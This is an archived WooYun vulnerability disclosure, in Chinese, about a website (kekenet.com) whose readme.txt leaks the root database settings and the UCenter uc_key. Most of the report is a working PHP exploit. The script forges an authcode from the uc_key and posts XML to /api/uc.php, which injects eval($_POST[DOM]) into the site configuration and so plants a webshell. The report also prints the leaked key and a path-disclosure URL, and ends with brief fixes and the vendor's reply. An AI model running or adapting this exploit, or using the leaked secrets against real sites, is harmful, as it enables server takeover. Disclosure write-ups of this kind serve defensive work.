乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-08-18: 细节已通知厂商并且等待厂商处理中 2014-08-18: 厂商已经确认,细节仅向厂商公开 2014-08-28: 细节向核心白帽子及相关领域专家公开 2014-09-07: 细节向普通白帽子公开 2014-09-17: 细节向实习白帽子公开 2014-10-02: 细节向公众公开
uc_key可直接getshell
http://app.kekenet.com/readme.txt泄漏root账号密码define('UC_CONNECT', 'mysql');define('UC_DBHOST', 'localhost');define('UC_DBUSER', 'root');uc_key4777bDoEyNa1V09RXkLat9gjbl5AVl+qZ77F6SRdwEd8H8i/DrcsLLo5sjMOYx3kS/XjtFKMOHFW/h8EuPOHHFlebnO97hzuOuwKjGuoQ+DisX5/gOMVU0k9GNNZ
还有一处http://rrlisten.kekenet.com/newlist.php爆绝对路径
getshell的方法PHP版本URL和KEY内置,代码如下::
<?php// 代码版权归原作者所有! $timestamp = time()+10*3600; $host="127.0.0.1"; $uc_key="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5Waofq6J285Ca33i151e551g0l9f2l3dd"; $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key)); $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">http://xxx\');eval($_POST[DOM]);//</item></root>'; $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?><root> <item id="UC_API">http://aaa</item></root>'; $html1 = send($cmd1); echo $html1; $html2 = send($cmd2); echo $html2; function send($cmd){ global $host,$code; $message = "POST /api/uc.php?code=".$code." HTTP/1.1\r\n"; $message .= "Accept: */*\r\n"; $message .= "Referer: ".$host."\r\n"; $message .= "Accept-Language: zh-cn\r\n"; $message .= "Content-Type: application/x-www-form-urlencoded\r\n"; $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n"; $message .= "Host: ".$host."\r\n"; $message .= "Content-Length: ".strlen($cmd)."\r\n"; $message .= "Connection: Close\r\n\r\n"; $message .= $cmd; //var_dump($message); $fp = fsockopen($host, 80); fputs($fp, $message); $resp = ''; while ($fp && !feof($fp)) $resp .= fread($fp, 1024); return $resp;} function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya.md5($keya.$keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if($operation == 'DECODE') { if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc.str_replace('=', '', base64_encode($result)); } }?>
1.删除敏感文件2.修改uckey及相关帐号密码
危害等级:高
漏洞Rank:15
确认时间:2014-08-18 19:03
谢谢提醒,我们抓紧修复
暂无